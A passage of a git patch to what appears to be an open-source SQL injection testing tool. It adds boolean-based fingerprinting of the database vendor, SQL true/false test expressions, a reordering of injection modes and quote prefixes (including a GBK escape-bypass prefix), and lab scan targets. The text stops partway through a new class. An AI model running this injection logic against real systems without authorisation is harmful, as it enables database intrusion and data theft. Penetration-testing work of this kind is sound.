From 691197632bc53b9f8a072caad502a96b31bb85e5 Mon Sep 17 00:00:00 2001 From: ron190 Date: Mon, 15 Jul 2024 13:26:07 +0200 Subject: [PATCH] Add database vendor blind fingerprinting - Improve falsy/truthy lists on Oracle - Improve failsafe on Oracle - Improve mode order on Blind/Time - Improve characters insertion order - Remove intermediate jdk20 from GH workflow - Add TryHackMe and Burp labs to Scan list - Upgrade dependencies version --- .github/workflows/build.yml | 9 +- model/pom.xml | 9 +- .../java/com/jsql/model/InjectionModel.java | 3 +- .../model/exception/JSqlRuntimeException.java | 16 ++ .../injection/strategy/MediatorStrategy.java | 5 + .../strategy/StrategyInjectionBlind.java | 4 +- .../strategy/StrategyInjectionTime.java | 4 +- .../blind/AbstractInjectionBoolean.java | 8 +- .../strategy/blind/CallableVendor.java | 60 ++++++ .../strategy/blind/InjectionBlind.java | 6 +- .../blind/InjectionCharInsertion.java | 12 +- .../strategy/blind/InjectionTime.java | 6 +- .../strategy/blind/InjectionVendor.java | 179 ++++++++++++++++++ .../vendor/model/AbstractVendor.java | 4 +- .../injection/vendor/model/VendorYaml.java | 12 +- .../vendor/model/yaml/Fingerprint.java | 9 + .../injection/vendor/model/yaml/Test.java | 12 +- .../SuspendableGetCharInsertion.java | 2 +- .../suspendable/SuspendableGetVendor.java | 83 ++++++++ .../main/java/com/jsql/util/CookiesUtil.java | 3 + model/src/main/resources/vendor/mysql.yml | 31 +-- model/src/main/resources/vendor/oracle.yml | 5 +- .../src/main/resources/vendor/postgresql.yml | 5 +- model/src/main/resources/vendor/sqlserver.yml | 1 + .../preferences/CheckAllCookiesSuiteIT.java | 5 +- .../test/preferences/MySqlDiosSuiteIT.java | 6 +- .../test/preferences/OrInjectionSuiteIT.java | 55 ------ .../special/JsonCheckAllParamSuiteIT.java | 3 +- .../java/com/test/special/SoapSuiteIT.java | 16 +- .../postgresql/PostgreSqlBlindGetSuiteIT.java | 1 - .../PostgreSqlNormalGetSuiteIT.java | 1 - .../postgresql/PostgreSqlReadFileSuiteIT.java | 1 - .../vendor/sqlite/SqliteBlindSuiteIT.java | 1 - .../vendor/sqlite/SqliteNormalSuiteIT.java | 1 - .../sqlserver/SqlServerBlindGetSuiteIT.java | 1 - .../sqlserver/SqlServerNormalGetSuiteIT.java | 1 - .../sqlserver/SqlServerStackedSuiteIT.java | 1 - .../java/spring/SpringTargetApplication.java | 17 +- .../java/spring/tenant/MasterService.java | 6 +- .../test/resources/docker/docker-compose.yml | 1 - .../healthcheck/healthcheck-additional.sh | 2 +- .../docker/scripts/healthcheck/healthcheck.sh | 2 +- .../hibernate/hibernate.cubrid.properties | 1 + .../hibernate/hibernate.derby.properties | 1 + .../hibernate/hibernate.firebird.properties | 1 + .../hibernate/hibernate.h2.properties | 1 + .../hibernate/hibernate.hsqldb.properties | 1 + .../hibernate/hibernate.informix.properties | 1 + .../hibernate.mysql-5-5-40.properties | 1 + .../hibernate/hibernate.mysql.properties | 1 + .../hibernate/hibernate.postgresql.properties | 1 + .../hibernate/hibernate.sqlite.properties | 1 + pom.xml | 4 +- view/pom.xml | 13 +- .../panel/preferences/PanelInjection.java | 2 +- .../com/jsql/view/swing/sql/SqlEngine.java | 55 +++--- .../main/resources/swing/list/scan-page.json | 48 ++++- 57 files changed, 559 insertions(+), 182 deletions(-) create mode 100644 model/src/main/java/com/jsql/model/exception/JSqlRuntimeException.java create mode 100644 model/src/main/java/com/jsql/model/injection/strategy/blind/CallableVendor.java create mode 100644 model/src/main/java/com/jsql/model/injection/strategy/blind/InjectionVendor.java create mode 100644 model/src/main/java/com/jsql/model/suspendable/SuspendableGetVendor.java delete mode 100644 model/src/test/java/com/test/preferences/OrInjectionSuiteIT.java diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml index 16dc6c50f7..276057e0eb 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/build.yml @@ -16,15 +16,9 @@ jobs: - jdk: 3.8.6-eclipse-temurin-18 nashorn: '' bytebuddy: '' - isPublishing: 'true' - - jdk: 3.9.3-eclipse-temurin-20 - nashorn: '' - bytebuddy: '' - isPublishing: 'false' - jdk: 3.9.7-eclipse-temurin-21 nashorn: '' bytebuddy: '-Dnet.bytebuddy.experimental=true' - isPublishing: 'false' # Groovy not compatible jdk22: gmavenplus-plugin JsonUtilSpock.groovy Unsupported class file major version 66 # - jdk: 3.9.7-eclipse-temurin-22 # nashorn: "" @@ -34,7 +28,6 @@ jobs: MAVEN_NASHORN: ${{ matrix.nashorn }} # experimental enabled on jdk21 to prevent 'Mockito cannot mock this class: class org.jsoup.nodes.Document' MAVEN_BYTEBUDDY: ${{ matrix.bytebuddy }} - IS_PUBLISHING: ${{ matrix.isPublishing }} DOCKER_RESOURCES: ${{ inputs.DOCKER_RESOURCES }} steps: @@ -107,7 +100,7 @@ jobs: - name: Coverage and site uses: ./.github/workflows/publish-scan/ - if: env.IS_PUBLISHING == 'true' + if: matrix.jdk == '3.8.6-eclipse-temurin-18' with: # composite cannot use secrets directly CODECOV_TOKEN: ${{ secrets.CODECOV_TOKEN }} CODACY_PROJECT_TOKEN: ${{ secrets.CODACY_PROJECT_TOKEN }} \ No newline at end of file diff --git a/model/pom.xml b/model/pom.xml index 594c5ced57..af81048b0d 100644 --- a/model/pom.xml +++ b/model/pom.xml @@ -58,7 +58,7 @@ 4.0.13 2.2.224 2.7.3 - 4.50.10.2 + 4.50.11 1.0.2 2.1 5.0.5.java11 @@ -66,14 +66,14 @@ 5.14.0 3.7.1 20240303 - 1.17.2 + 1.18.1 2.2.0 1.0.3 3.3.0 1.0.5 3.42.3 2.29 - 12.4.2.jre8 + 12.6.3.jre11 9.0.0 15.4 5.22.0 @@ -86,6 +86,7 @@ 1.5.1 2.4-M4-groovy-4.0 3.3.1 + 1.2.8.RELEASE 3.46.0.0 0.1.4 2.3.4 @@ -514,7 +515,7 @@ org.springframework springloaded - 1.2.8.RELEASE + ${springloaded.version} test diff --git a/model/src/main/java/com/jsql/model/InjectionModel.java b/model/src/main/java/com/jsql/model/InjectionModel.java index 2687f6809b..91bc017745 100644 --- a/model/src/main/java/com/jsql/model/InjectionModel.java +++ b/model/src/main/java/com/jsql/model/InjectionModel.java @@ -16,6 +16,7 @@ import com.jsql.model.bean.util.Interaction; import com.jsql.model.bean.util.Request; import com.jsql.model.exception.JSqlException; +import com.jsql.model.exception.JSqlRuntimeException; import com.jsql.model.injection.method.AbstractMethodInjection; import com.jsql.model.injection.method.MediatorMethod; import com.jsql.model.injection.strategy.MediatorStrategy; @@ -207,7 +208,7 @@ public void beginInjection() { LOGGER.log(LogLevelUtil.IGNORE, e, e); Thread.currentThread().interrupt(); - } catch (JSqlException | IOException e) { // Catch expected exceptions only + } catch (JSqlRuntimeException | JSqlException | IOException e) { // Catch expected exceptions only if (e.getMessage() == null) { LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Unexpected: {}", getImplicitReason(e)); diff --git a/model/src/main/java/com/jsql/model/exception/JSqlRuntimeException.java b/model/src/main/java/com/jsql/model/exception/JSqlRuntimeException.java new file mode 100644 index 0000000000..cf02321377 --- /dev/null +++ b/model/src/main/java/com/jsql/model/exception/JSqlRuntimeException.java @@ -0,0 +1,16 @@ +package com.jsql.model.exception; + +public class JSqlRuntimeException extends RuntimeException { + + public JSqlRuntimeException(String message) { + super(message); + } + + public JSqlRuntimeException(String message, Throwable e) { + super(message, e); + } + + public JSqlRuntimeException(Throwable e) { + super(null, e); // get only original implicit reason + } +} diff --git a/model/src/main/java/com/jsql/model/injection/strategy/MediatorStrategy.java b/model/src/main/java/com/jsql/model/injection/strategy/MediatorStrategy.java index b6aa2ff25d..48a66d5033 100644 --- a/model/src/main/java/com/jsql/model/injection/strategy/MediatorStrategy.java +++ b/model/src/main/java/com/jsql/model/injection/strategy/MediatorStrategy.java @@ -4,6 +4,7 @@ import com.jsql.model.exception.JSqlException; import com.jsql.model.injection.vendor.model.VendorYaml; import com.jsql.model.suspendable.SuspendableGetCharInsertion; +import com.jsql.model.suspendable.SuspendableGetVendor; import com.jsql.util.LogLevelUtil; import com.jsql.util.StringUtil; import org.apache.commons.lang3.StringUtils; @@ -177,6 +178,10 @@ public boolean testStrategies(SimpleEntry parameterToInject) thr ); } + if (this.injectionModel.getMediatorVendor().getVendorByUser() == this.injectionModel.getMediatorVendor().getAuto()) { + new SuspendableGetVendor(this.injectionModel).run(); + } + // Test each injection strategies: time < blind < error < normal // Choose the most efficient strategy: normal > error > blind > time this.time.checkApplicability(); diff --git a/model/src/main/java/com/jsql/model/injection/strategy/StrategyInjectionBlind.java b/model/src/main/java/com/jsql/model/injection/strategy/StrategyInjectionBlind.java index 09ee5b2cab..224ba1caae 100644 --- a/model/src/main/java/com/jsql/model/injection/strategy/StrategyInjectionBlind.java +++ b/model/src/main/java/com/jsql/model/injection/strategy/StrategyInjectionBlind.java @@ -56,10 +56,10 @@ public void checkApplicability() throws StoppedByUserSlidingException { return; } - checkInjection(BooleanMode.STACKED); - checkInjection(BooleanMode.NO_MODE); checkInjection(BooleanMode.OR); checkInjection(BooleanMode.AND); + checkInjection(BooleanMode.STACKED); + checkInjection(BooleanMode.NO_MODE); if (this.isApplicable) { diff --git a/model/src/main/java/com/jsql/model/injection/strategy/StrategyInjectionTime.java b/model/src/main/java/com/jsql/model/injection/strategy/StrategyInjectionTime.java index 4c6e4343c6..e3ec9ffd7b 100644 --- a/model/src/main/java/com/jsql/model/injection/strategy/StrategyInjectionTime.java +++ b/model/src/main/java/com/jsql/model/injection/strategy/StrategyInjectionTime.java @@ -56,10 +56,10 @@ public void checkApplicability() throws StoppedByUserSlidingException { return; } - checkInjection(BooleanMode.STACKED); - checkInjection(BooleanMode.NO_MODE); checkInjection(BooleanMode.OR); checkInjection(BooleanMode.AND); + checkInjection(BooleanMode.STACKED); + checkInjection(BooleanMode.NO_MODE); if (this.isApplicable) { diff --git a/model/src/main/java/com/jsql/model/injection/strategy/blind/AbstractInjectionBoolean.java b/model/src/main/java/com/jsql/model/injection/strategy/blind/AbstractInjectionBoolean.java index e86a840855..be42e2c023 100644 --- a/model/src/main/java/com/jsql/model/injection/strategy/blind/AbstractInjectionBoolean.java +++ b/model/src/main/java/com/jsql/model/injection/strategy/blind/AbstractInjectionBoolean.java @@ -28,11 +28,11 @@ public abstract class AbstractInjectionBoolean falseTests; + protected final List falsy; // Every TRUE SQL statements will be checked, // more statements means a more robust application - protected final List trueTests; + protected final List truthy; public enum BooleanMode { AND, OR, STACKED, NO_MODE @@ -46,8 +46,8 @@ protected AbstractInjectionBoolean(InjectionModel injectionModel, BooleanMode bo this.injectionModel = injectionModel; this.booleanMode = booleanMode; - this.falseTests = this.injectionModel.getMediatorVendor().getVendor().instance().getListFalseTest(); - this.trueTests = this.injectionModel.getMediatorVendor().getVendor().instance().getListTrueTest(); + this.falsy = this.injectionModel.getMediatorVendor().getVendor().instance().getFalsy(); + this.truthy = this.injectionModel.getMediatorVendor().getVendor().instance().getTruthy(); } /** diff --git a/model/src/main/java/com/jsql/model/injection/strategy/blind/CallableVendor.java b/model/src/main/java/com/jsql/model/injection/strategy/blind/CallableVendor.java new file mode 100644 index 0000000000..610ad7e4c3 --- /dev/null +++ b/model/src/main/java/com/jsql/model/injection/strategy/blind/CallableVendor.java @@ -0,0 +1,60 @@ +package com.jsql.model.injection.strategy.blind; + +import com.jsql.model.injection.strategy.blind.patch.Diff; +import com.jsql.model.injection.strategy.blind.patch.DiffMatchPatch; + +import java.util.LinkedList; +import java.util.List; +import java.util.concurrent.CopyOnWriteArrayList; + +public class CallableVendor extends AbstractCallableBoolean { + + // List of differences found between the reference page, and the present page + private LinkedList opcodes = new LinkedList<>(); + + private static final DiffMatchPatch DIFF_MATCH_PATCH = new DiffMatchPatch(); + + private final InjectionVendor injectionCharInsertion; + + private final String metadataInjectionProcess; + + public CallableVendor(String inj, InjectionVendor injectionCharInsertion, String metadataInjectionProcess) { + + this.injectionCharInsertion = injectionCharInsertion; + this.metadataInjectionProcess = metadataInjectionProcess; + this.booleanUrl = inj; + } + + @Override + public boolean isTrue() { + + List copyTrueMarks = new CopyOnWriteArrayList<>(this.injectionCharInsertion.getConstantTrueMark()); + for (Diff trueDiff: copyTrueMarks) { + if (!this.opcodes.contains(trueDiff)) { + return false; + } + } + + return true; + } + + @Override + public CallableVendor call() { + + String source = this.injectionCharInsertion.callUrl(this.booleanUrl, this.metadataInjectionProcess, this); + + this.opcodes = CallableVendor.DIFF_MATCH_PATCH.diffMain( + this.injectionCharInsertion.getBlankFalseMark(), + source, + false + ); + + CallableVendor.DIFF_MATCH_PATCH.diffCleanupEfficiency(this.opcodes); + + return this; + } + + public List getOpcodes() { + return this.opcodes; + } +} diff --git a/model/src/main/java/com/jsql/model/injection/strategy/blind/InjectionBlind.java b/model/src/main/java/com/jsql/model/injection/strategy/blind/InjectionBlind.java index 7fdd55c7be..558b0f46ce 100644 --- a/model/src/main/java/com/jsql/model/injection/strategy/blind/InjectionBlind.java +++ b/model/src/main/java/com/jsql/model/injection/strategy/blind/InjectionBlind.java @@ -47,7 +47,7 @@ public InjectionBlind(InjectionModel injectionModel, BooleanMode blindMode) { super(injectionModel, blindMode); // No blind - if (this.falseTests.isEmpty() || this.injectionModel.isStoppedByUser()) { + if (this.falsy.isEmpty() || this.injectionModel.isStoppedByUser()) { return; } @@ -59,7 +59,7 @@ public InjectionBlind(InjectionModel injectionModel, BooleanMode blindMode) { ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableGetBlindTagFalse"); Collection callablesFalseTest = new ArrayList<>(); - for (String falseTest: this.falseTests) { + for (String falseTest: this.falsy) { callablesFalseTest.add(new CallableBlind( falseTest, injectionModel, @@ -111,7 +111,7 @@ private void cleanTrueDiffs(InjectionModel injectionModel, BooleanMode blindMode Collection callablesTrueTest = new ArrayList<>(); - for (String trueTest: this.trueTests) { + for (String trueTest: this.truthy) { callablesTrueTest.add(new CallableBlind( trueTest, injectionModel, diff --git a/model/src/main/java/com/jsql/model/injection/strategy/blind/InjectionCharInsertion.java b/model/src/main/java/com/jsql/model/injection/strategy/blind/InjectionCharInsertion.java index 1a845377dd..ea62f8930b 100644 --- a/model/src/main/java/com/jsql/model/injection/strategy/blind/InjectionCharInsertion.java +++ b/model/src/main/java/com/jsql/model/injection/strategy/blind/InjectionCharInsertion.java @@ -43,7 +43,7 @@ public class InjectionCharInsertion { private static final String PREFIX = "prefix"; - private final List falseTest; + private final List falsy; /** * Create blind attack initialization. @@ -56,11 +56,11 @@ public InjectionCharInsertion(InjectionModel injectionModel, String falseCharIns this.injectionModel = injectionModel; this.prefixSuffix = prefixSuffix; - List trueTest = this.injectionModel.getMediatorVendor().getVendor().instance().getListTrueTest(); - this.falseTest = this.injectionModel.getMediatorVendor().getVendor().instance().getListFalseTest(); + List truthy = this.injectionModel.getMediatorVendor().getVendor().instance().getTruthy(); + this.falsy = this.injectionModel.getMediatorVendor().getVendor().instance().getFalsy(); // No blind - if (trueTest.isEmpty() || this.injectionModel.isStoppedByUser()) { + if (truthy.isEmpty() || this.injectionModel.isStoppedByUser()) { return; } @@ -75,7 +75,7 @@ public InjectionCharInsertion(InjectionModel injectionModel, String falseCharIns ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableCharInsertionTagTrue"); Collection listCallableTagTrue = new ArrayList<>(); - for (String urlTest: trueTest) { + for (String urlTest: truthy) { listCallableTagTrue.add( new CallableCharInsertion( String.join( @@ -127,7 +127,7 @@ private void initializeFalseMarks() { ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableGetBlindTagTrue"); Collection listCallableTagFalse = new ArrayList<>(); - for (String urlTest: this.falseTest) { + for (String urlTest: this.falsy) { listCallableTagFalse.add( new CallableCharInsertion( String.join( diff --git a/model/src/main/java/com/jsql/model/injection/strategy/blind/InjectionTime.java b/model/src/main/java/com/jsql/model/injection/strategy/blind/InjectionTime.java index 81befb1525..3200aacce2 100644 --- a/model/src/main/java/com/jsql/model/injection/strategy/blind/InjectionTime.java +++ b/model/src/main/java/com/jsql/model/injection/strategy/blind/InjectionTime.java @@ -41,7 +41,7 @@ public InjectionTime(InjectionModel injectionModel, BooleanMode booleanMode) { super(injectionModel, booleanMode); // No blind - if (this.falseTests.isEmpty() || this.injectionModel.isStoppedByUser()) { + if (this.falsy.isEmpty() || this.injectionModel.isStoppedByUser()) { return; } @@ -50,7 +50,7 @@ public InjectionTime(InjectionModel injectionModel, BooleanMode booleanMode) { ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableGetTimeTagFalse"); Collection callablesFalseTest = new ArrayList<>(); - for (String falseTest: this.falseTests) { + for (String falseTest: this.falsy) { callablesFalseTest.add(new CallableTime( falseTest, injectionModel, @@ -97,7 +97,7 @@ private void checkTrueTests(BooleanMode booleanMode) { ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableGetTimeTagTrue"); Collection callablesTrueTest = new ArrayList<>(); - for (String trueTest: this.trueTests) { + for (String trueTest: this.truthy) { callablesTrueTest.add(new CallableTime( trueTest, this.injectionModel, diff --git a/model/src/main/java/com/jsql/model/injection/strategy/blind/InjectionVendor.java b/model/src/main/java/com/jsql/model/injection/strategy/blind/InjectionVendor.java new file mode 100644 index 0000000000..1296e96f25 --- /dev/null +++ b/model/src/main/java/com/jsql/model/injection/strategy/blind/InjectionVendor.java @@ -0,0 +1,179 @@ +package com.jsql.model.injection.strategy.blind; + +import com.jsql.model.InjectionModel; +import com.jsql.model.exception.StoppedByUserSlidingException; +import com.jsql.model.injection.strategy.blind.patch.Diff; +import com.jsql.model.injection.vendor.model.Vendor; +import com.jsql.model.injection.vendor.model.VendorYaml; +import com.jsql.util.LogLevelUtil; +import org.apache.commons.lang3.StringUtils; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +import java.util.ArrayList; +import java.util.Collection; +import java.util.List; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Future; + +public class InjectionVendor { + + /** + * Log4j logger sent to view. + */ + private static final Logger LOGGER = LogManager.getRootLogger(); + + // Source code of the FALSE web page (eg. ?id=-123456789) + private String blankFalseMark; + + private List constantTrueMark = new ArrayList<>(); + + protected final InjectionModel injectionModel; + + private final List falsy; + + public InjectionVendor(InjectionModel injectionModel, String vendorSpecificWithMode, Vendor vendor) { + + this.injectionModel = injectionModel; + + List truthy = this.injectionModel.getMediatorVendor().getVendor().instance().getTruthy(); + this.falsy = this.injectionModel.getMediatorVendor().getVendor().instance().getFalsy(); + + // No blind + if (truthy.isEmpty() || this.injectionModel.isStoppedByUser()) { + return; + } + + // Call the SQL request which must be FALSE (usually ?id=-123456879) + this.blankFalseMark = this.callUrl( + StringUtils.EMPTY, + "vendor:" + vendor + ); + + // Concurrent calls to the FALSE statements, + // it will use inject() from the model + ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableVendorTagTrue"); + Collection listCallableTagTrue = new ArrayList<>(); + + for (String urlTest: truthy) { + listCallableTagTrue.add( + new CallableVendor( + vendorSpecificWithMode.replace(VendorYaml.TEST, urlTest), + this, + "vendor#true" + ) + ); + } + + // Delete junk from the results of FALSE statements, + // keep only opcodes found in each and every FALSE pages. + // Allow the user to stop the loop + try { + List> listTagTrue = taskExecutor.invokeAll(listCallableTagTrue); + this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor); + + for (var i = 1 ; i < listTagTrue.size() ; i++) { + + if (this.injectionModel.isStoppedByUser()) { + return; + } + + if (this.constantTrueMark.isEmpty()) { + this.constantTrueMark = listTagTrue.get(i).get().getOpcodes(); + } else { + this.constantTrueMark.retainAll(listTagTrue.get(i).get().getOpcodes()); + } + } + } catch (ExecutionException e) { + LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e); + } catch (InterruptedException e) { + + LOGGER.log(LogLevelUtil.IGNORE, e, e); + Thread.currentThread().interrupt(); + } + + this.initializeFalseMarks(vendorSpecificWithMode); + } + + private void initializeFalseMarks(String vendorSpecificWithMode) { + + // Concurrent calls to the TRUE statements, + // it will use inject() from the model. + ExecutorService taskExecutor = this.injectionModel.getMediatorUtils().getThreadUtil().getExecutor("CallableVendorTagFalse"); + Collection listCallableTagFalse = new ArrayList<>(); + + for (String urlTest: this.falsy) { + listCallableTagFalse.add( + new CallableVendor( + vendorSpecificWithMode.replace(VendorYaml.TEST, urlTest), + this, + "vendor#false" + ) + ); + } + + // Remove TRUE opcodes in the FALSE opcodes, because + // a significant FALSE statement shouldn't contain any TRUE opcode. + // Allow the user to stop the loop. + try { + List> listTagFalse = taskExecutor.invokeAll(listCallableTagFalse); + this.injectionModel.getMediatorUtils().getThreadUtil().shutdown(taskExecutor); + + for (Future falseTag: listTagFalse) { + + if (this.injectionModel.isStoppedByUser()) { + return; + } + + this.constantTrueMark.removeAll(falseTag.get().getOpcodes()); + } + } catch (ExecutionException e) { + LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e); + } catch (InterruptedException e) { + + LOGGER.log(LogLevelUtil.IGNORE, e, e); + Thread.currentThread().interrupt(); + } + } + + public boolean isInjectable(String vendorSpecificWithMode) throws StoppedByUserSlidingException { + + if (this.injectionModel.isStoppedByUser()) { + throw new StoppedByUserSlidingException(); + } + + var blindTest = new CallableVendor( + vendorSpecificWithMode.replace(VendorYaml.TEST, this.injectionModel.getMediatorVendor().getVendor().instance().sqlTestBooleanInitialization()), + this, + "vendor#confirm" + ); + + try { + blindTest.call(); + } catch (Exception e) { + LOGGER.log(LogLevelUtil.CONSOLE_JAVA, e, e); + } + + return blindTest.isTrue() && !this.constantTrueMark.isEmpty(); + } + + public String callUrl(String urlString, String metadataInjectionProcess) { + return this.injectionModel.injectWithoutIndex(urlString, metadataInjectionProcess); + } + + public String callUrl(String urlString, String metadataInjectionProcess, AbstractCallableBoolean callableBoolean) { + return this.injectionModel.injectWithoutIndex(urlString, metadataInjectionProcess, callableBoolean); + } + + + // Getter + + public String getBlankFalseMark() { + return this.blankFalseMark; + } + + public List getConstantTrueMark() { + return this.constantTrueMark; + } +} diff --git a/model/src/main/java/com/jsql/model/injection/vendor/model/AbstractVendor.java b/model/src/main/java/com/jsql/model/injection/vendor/model/AbstractVendor.java index eea57eb0c5..0dd01c4419 100644 --- a/model/src/main/java/com/jsql/model/injection/vendor/model/AbstractVendor.java +++ b/model/src/main/java/com/jsql/model/injection/vendor/model/AbstractVendor.java @@ -37,8 +37,8 @@ public interface AbstractVendor { String sqlFileRead(String path); String sqlTextIntoFile(String body, String path); - List getListFalseTest(); - List getListTrueTest(); + List getFalsy(); + List getTruthy(); String sqlTestBooleanInitialization(); String sqlTestBlind(String check, BooleanMode blindMode); diff --git a/model/src/main/java/com/jsql/model/injection/vendor/model/VendorYaml.java b/model/src/main/java/com/jsql/model/injection/vendor/model/VendorYaml.java index f0350a0b64..f139d4ea48 100644 --- a/model/src/main/java/com/jsql/model/injection/vendor/model/VendorYaml.java +++ b/model/src/main/java/com/jsql/model/injection/vendor/model/VendorYaml.java @@ -34,9 +34,10 @@ public class VendorYaml implements AbstractVendor { /** * SQL characters marking the end of the result of an injection. * Process stops when this schema is encountered: - *
SQLix01x03x03x07
+     * 
SqLix01x03x03x07
      */
     public static final String LEAD_HEX = "0x53714c69";
+    public static final String LEAD_PIPE = "Sq'||'Li";
     public static final String TRAIL_SQL = "%01%03%03%07";
     public static final String TRAIL_HEX = "0x01030307";
 
@@ -99,7 +100,7 @@ public class VendorYaml implements AbstractVendor {
 
     public static final String INJECTION = "${injection}";
 
-    private static final String TEST = "${test}";
+    public static final String TEST = "${test}";
 
     private static final String FILEPATH = "${filepath}";
     private static final String FILEPATH_HEX = "${filepath.hex}";
@@ -600,7 +601,8 @@ public static String replaceTags(String sqlRequest) {
             .replace("${trail_sql}", TRAIL_SQL)
             .replace("${trail_hex}", TRAIL_HEX)
             .replace("${lead}", LEAD)
-            .replace("${lead_hex}", LEAD_HEX);
+            .replace("${lead_hex}", LEAD_HEX)
+            .replace("${lead_pipe}", LEAD_PIPE);
     }
 
     /**
@@ -636,12 +638,12 @@ public String sqlPrivilegeTest() {
     }
 
     @Override
-    public List getListFalseTest() {
+    public List getFalsy() {
         return this.modelYaml.getStrategy().getBoolean().getTest().getFalsy();
     }
 
     @Override
-    public List getListTrueTest() {
+    public List getTruthy() {
         return this.modelYaml.getStrategy().getBoolean().getTest().getTruthy();
     }
 
diff --git a/model/src/main/java/com/jsql/model/injection/vendor/model/yaml/Fingerprint.java b/model/src/main/java/com/jsql/model/injection/vendor/model/yaml/Fingerprint.java
index 3145562f3a..3809e3a50c 100644
--- a/model/src/main/java/com/jsql/model/injection/vendor/model/yaml/Fingerprint.java
+++ b/model/src/main/java/com/jsql/model/injection/vendor/model/yaml/Fingerprint.java
@@ -13,6 +13,7 @@ public class Fingerprint implements Serializable {
 
     private List errorMessage = new ArrayList<>();
     private String orderByErrorMessage = StringUtils.EMPTY;
+    private String vendorSpecific = StringUtils.EMPTY;
 
     public List getErrorMessage() {
         return this.errorMessage;
@@ -40,4 +41,12 @@ public String getErrorMessageAsString() {
     public void setErrorMessageAsString(String errorMessage) {
         this.errorMessage = Arrays.asList(errorMessage.split("[\r\n]+"));
     }
+
+    public String getVendorSpecific() {
+        return vendorSpecific;
+    }
+
+    public void setVendorSpecific(String vendorSpecific) {
+        this.vendorSpecific = vendorSpecific;
+    }
 }
diff --git a/model/src/main/java/com/jsql/model/injection/vendor/model/yaml/Test.java b/model/src/main/java/com/jsql/model/injection/vendor/model/yaml/Test.java
index b4e5f15170..0669a3e408 100644
--- a/model/src/main/java/com/jsql/model/injection/vendor/model/yaml/Test.java
+++ b/model/src/main/java/com/jsql/model/injection/vendor/model/yaml/Test.java
@@ -11,18 +11,18 @@
 public class Test implements Serializable {
 
     private List falsy = Arrays.asList(
-        "true = false",
-        "true %21= true",
-        "false %21= false",
+        "'a' = 'b'",
+        "'a' %21= 'a'",
+        "'b' %21= 'b'",
         "1 = 2",
         "1 %21= 1",
         "2 %21= 2"
     );
             
     private List truthy = Arrays.asList(
-        "true = true",
-        "false = false",
-        "true %21= false",
+        "'a' = 'a'",
+        "'b' = 'b'",
+        "'a' %21= 'b'",
         "1 = 1",
         "2 = 2",
         "1 %21= 2"
diff --git a/model/src/main/java/com/jsql/model/suspendable/SuspendableGetCharInsertion.java b/model/src/main/java/com/jsql/model/suspendable/SuspendableGetCharInsertion.java
index 15f1cc2d03..7251e52f9c 100644
--- a/model/src/main/java/com/jsql/model/suspendable/SuspendableGetCharInsertion.java
+++ b/model/src/main/java/com/jsql/model/suspendable/SuspendableGetCharInsertion.java
@@ -186,8 +186,8 @@ private List initializeCallables(CompletionService t
         );
         
         List prefixQuotes = Arrays.asList(
-            LABEL_PREFIX,
             LABEL_PREFIX +"'",
+            LABEL_PREFIX,
             LABEL_PREFIX +"`",  // TODO add ITs
             LABEL_PREFIX +"\"",
             LABEL_PREFIX +"%bf'"  // GBK slash encoding use case
diff --git a/model/src/main/java/com/jsql/model/suspendable/SuspendableGetVendor.java b/model/src/main/java/com/jsql/model/suspendable/SuspendableGetVendor.java
new file mode 100644
index 0000000000..1a31d561da
--- /dev/null
+++ b/model/src/main/java/com/jsql/model/suspendable/SuspendableGetVendor.java
@@ -0,0 +1,83 @@
+package com.jsql.model.suspendable;
+
+import com.jsql.model.InjectionModel;
+import com.jsql.model.bean.util.Header;
+import com.jsql.model.bean.util.Interaction;
+import com.jsql.model.bean.util.Request;
+import com.jsql.model.exception.JSqlException;
+import com.jsql.model.exception.JSqlRuntimeException;
+import com.jsql.model.exception.StoppedByUserSlidingException;
+import com.jsql.model.injection.strategy.blind.AbstractInjectionBoolean;
+import com.jsql.model.injection.strategy.blind.InjectionVendor;
+import com.jsql.util.LogLevelUtil;
+import org.apache.commons.lang3.StringUtils;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+import java.util.EnumMap;
+import java.util.Map;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+public class SuspendableGetVendor extends AbstractSuspendable {
+
+    /**
+     * Log4j logger sent to view.
+     */
+    private static final Logger LOGGER = LogManager.getRootLogger();
+
+    public SuspendableGetVendor(InjectionModel injectionModel) {
+        super(injectionModel);
+    }
+
+    @Override
+    public String run(Object... args) throws JSqlException {
+
+        LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Fingerprinting vendor with Boolean match...");
+
+        AtomicBoolean isVendorFound = new AtomicBoolean(false);
+        this.injectionModel.getMediatorVendor().getVendors()
+        .stream()
+        .filter(vendor -> vendor != this.injectionModel.getMediatorVendor().getAuto())
+        .filter(vendor -> StringUtils.isNotEmpty(vendor.instance().getModelYaml()
+            .getStrategy()
+            .getConfiguration()
+            .getFingerprint()
+            .getVendorSpecific()
+        ))
+        .forEach(vendor -> {
+
+            if (isVendorFound.get()) {
+                return;
+            }
+            String vendorSpecificWithMode = AbstractInjectionBoolean.BooleanMode.OR.name() + " " + vendor.instance().getModelYaml()
+                .getStrategy()
+                .getConfiguration()
+                .getFingerprint()
+                .getVendorSpecific();
+            try {
+                var injectionCharInsertion = new InjectionVendor(this.injectionModel, vendorSpecificWithMode, vendor);
+                if (injectionCharInsertion.isInjectable(vendorSpecificWithMode)) {
+
+                    if (this.isSuspended()) {
+                        throw new StoppedByUserSlidingException();
+                    }
+
+                    LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Found vendor [{}] using Boolean match", vendor);
+                    this.injectionModel.getMediatorVendor().setVendor(vendor);
+                    isVendorFound.set(true);
+
